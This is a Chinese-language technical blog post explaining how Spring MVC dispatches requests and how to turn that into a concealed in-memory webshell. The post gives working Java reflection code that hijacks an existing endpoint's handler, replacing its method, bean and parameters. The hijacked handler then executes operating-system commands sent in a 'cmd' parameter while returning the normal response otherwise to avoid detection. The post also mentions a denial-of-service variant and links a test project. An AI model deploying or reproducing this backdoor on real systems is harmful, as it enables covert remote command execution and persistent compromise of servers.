隐形马原理
SpringMVC原理浅析
首先来学习下SpringMVC处理请求的底层原理
一个重要的类DispatcherServlet,在普通WEB项目中需要配置web.xml如下,在SpringBoot自动配置
<servlet> <servlet-name>springMVC</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/dispatcherServlet.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> <async-supported>true</async-supported> </servlet> <servlet-mapping> <servlet-name>springMVC</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping>
简单来看下这个Servlet是怎样的:继承自FrameworkServlet,本质是一个普通的HttpServlet
处理请求大致流程如下
找到FrameworkServlet的doGet入口
@Override protected final void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); }
跟入processRequest方法
protected final void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ... try { doService(request, response); } ... }
跟入doService到达DispatcherSerlvet.doService实现
@Override protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception { ... try { doDispatch(request, response); } ... }
跟入DispatcherSerlvet.doDispatch
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception { ... // Determine handler adapter for the current request. HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); ... // Actually invoke the handler. mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); ... }
跟入HandlerAdapter.handle方法中,跨过一些接口和简单的类,到达RequestMappingHandlerAdapter.handleInternal
protected ModelAndView handleInternal(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ... mav = invokeHandlerMethod(request, response, handlerMethod); ... }
跟入RequestMappingHandlerAdapter.invokeHandlerMethod
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ... invocableMethod.invokeAndHandle(webRequest, mavContainer); ... }
后面还有好几层,略过这些步骤可以发现最终到达了InvocableHandlerMethod.doInvoke
protected Object doInvoke(Object... args) throws Exception { Method method = getBridgedMethod(); try { if (KotlinDetector.isSuspendingFunction(method)) { return CoroutinesUtils.invokeSuspendingFunction(method, getBean(), args); } return method.invoke(getBean(), args); } ... }
不难发现SpringMVC最底层的原理是反射调用
这里的method是Controller中的方法对象,使用getBean方法得到容器中的Controller对象然后invoke调用
隐形马核心原理
于是产生一个思路:把反射调用的方法改成特殊的方法
- 不含有cmd参数时返回和以前一样的结果,伪装正常
- 如果有cmd参数传入则执行命令回显,做到内存马的效果
思路简单,实际上并不是很容易修改
InvocableHandlerMethod这个类并不陌生,是上文HandlerMethod的一个子类
回到HandlerMethod看看里面有什么属性
public class HandlerMethod { private final Object bean; private final Method method; private final Method bridgedMethod; private final MethodParameter[] parameters; ... }
难点一
第一处坑:具体调用的方法是什么?
发现有两个反射方法method和bridgeMethod,通过上文doInvoke方法的第一行
Method method = getBridgedMethod();
不难发现真正调用的方法是bridgedMethod属性
protected Method getBridgedMethod() { return this.bridgedMethod; }
关于桥接方法,主要是JDK为了兼容泛型做的操作,不做深入分析
其实从官方getBridgedMethod方法的注释就可以看出,这里和method应该一致的
If the bean method is a bridge method, this method returns the bridged (user-defined) method. Otherwise it returns the same method as getMethod().
为什么这里是坑?
第一次跟入的时候没有注意Method method = getBridgedMethod();方法,一直在尝试修改method发现没用
难点二
第二处坑:修改方法成功后为什么报错?
当真正修改成功方法后,会报错:
The mapped handler method class '...' is not an instance of the actual controller bean class 'com.example.spring.ApiController'
这个原因好分析,其实反射调用的第一个参数是对象
method.invoke(getBean(), args);
方法如下,是一个Object类型的对象
public Object getBean() { return this.bean; }
通过反射修改了这个属性即可绕过这个坑
难点三
第三处坑:修改Bean之后为什么还报错?
这里会报出一个错:java.lang.IllegalStateException: wrong number of arguments
原因如下
真实的方法是这样,不接收参数
@RequestMapping("/api") @ResponseBody public String scan(){ return "ok"; }
导致doInvoke的参数实际上是空,而method.invoke需要对应的cmd参数
protected Object doInvoke(Object... args) throws Exception { // args=null Method method = getBridgedMethod(); try { if (KotlinDetector.isSuspendingFunction(method)) { return CoroutinesUtils.invokeSuspendingFunction(method, getBean(), args); } // error return method.invoke(getBean(), args); } ... }
这个参数的获取方法在invokeForRequest的getMethodArgumentValues
public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object[] args = getMethodArgumentValues(request, mavContainer, providedArgs); if (logger.isTraceEnabled()) { logger.trace("Arguments: " + Arrays.toString(args)); } return doInvoke(args); }
跟入getMethodArgumentValues后发现实际上是从HandlerMethod的parameters属性中取值的
protected Object[] getMethodArgumentValues(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { MethodParameter[] parameters = getMethodParameters(); if (ObjectUtils.isEmpty(parameters)) { return EMPTY_ARGS; } ... }
反射修改了parameters即可解决问题
代码实现
首先需要黑客自行寻找一处隐藏点
// 接口 static final String targetPath = "/api"; // 返回具体内容 static final String text = "ok";
需要找到一处接口:通常情况下返回一个固定的值
为什么要找这样一个接口:不容易发现该接口出问题,黑盒很难模拟出完整的业务逻辑
(如果熟悉该接口的业务逻辑造一个一模一样的也不是难事)
通过Context拿到mappingRegistry
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes() .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class); Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry"); _mappingRegistry.setAccessible(true); Object mappingRegistry = _mappingRegistry.get(rmhMapping);
想办法拿到私有类MappingRegistry和MappingRegistration的Class对象
Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses(); Class<?> mappingRegistryClazz = null; Class<?> mappingRegistrationClazz = null; for (Class<?> item : tempArray) { if (item.getName().equals( "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry" )) { mappingRegistryClazz = item; } if (item.getName().equals( "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration" )) { mappingRegistrationClazz = item; } }
拿到注册信息
Field _registry = mappingRegistryClazz.getDeclaredField("registry"); _registry.setAccessible(true); HashMap<RequestMappingInfo, Object> registry = (HashMap<RequestMappingInfo, Object>) _registry.get(mappingRegistry);
内存马方法
Method targetMethod = Horse.class.getMethod("shell", String.class);
内存马逻辑
public String shell(String cmd) throws IOException { // 拿到响应对象 HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { if (cmd != null && !cmd.equals("")) { Process process = Runtime.getRuntime().exec(cmd); StringBuilder outStr = new StringBuilder(); outStr.append("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream()); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s).append("\n"); } outStr.append("</pre>"); response.getWriter().print(outStr); return outStr.toString(); } else { response.getWriter().print(text); return text; } } catch (Exception ignored) { } response.getWriter().print(text); return text; }
逻辑如下:
- 不带cmd参数返回正常的字符串
- 带了cmd参数执行命令回显
遍历所有注册信息,找到我们的目标修改
for (Map.Entry<RequestMappingInfo, Object> entry : registry.entrySet()) { if (entry.getKey().getPatternsCondition().getPatterns().contains(targetPath)) { ... } }
拿到HandlerMethod对象
Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod"); _handlerMethod.setAccessible(true); HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());
修改bridgeMethod属性
注意:这里的难点在于修改final属性,需要两次反射
Field _tempMethod = handlerMethod.getClass().getDeclaredField("bridgedMethod"); _tempMethod.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(_tempMethod, _tempMethod.getModifiers() & ~Modifier.FINAL); _tempMethod.set(handlerMethod, targetMethod);
修改bean对象
注意:这里不用空参构造方法因为会导致死循环,所以使用new Horse("horse")
Field _bean = handlerMethod.getClass().getDeclaredField("bean"); _bean.setAccessible(true); Field beanModifiersField = Field.class.getDeclaredField("modifiers"); beanModifiersField.setAccessible(true); beanModifiersField.setInt(_bean, _bean.getModifiers() & ~Modifier.FINAL); _bean.set(handlerMethod, new Horse("horse"));
修改parameters属性
Field _parameters = handlerMethod.getClass().getDeclaredField("parameters"); _parameters.setAccessible(true); Field paramModifiersField = Field.class.getDeclaredField("modifiers"); paramModifiersField.setAccessible(true); paramModifiersField.setInt(_parameters, _parameters.getModifiers() & ~Modifier.FINAL); // new MethodParameter数组 MethodParameter[] newParams = new MethodParameter[]{ new MethodParameter(targetMethod, 0)}; _parameters.set(handlerMethod, newParams);
总结思考
换个思路,把所有反射调用的方法置空会怎样?
_tempMethod.set(handlerMethod, null);
会导致所有的mapping报空指针异常,造成拒绝服务漏洞
环境代码地址:
https://github.com/EmYiQing/SpringMemShell
(一个基于Tomcat的SpringMVC项目,按照README.md测试即可成功)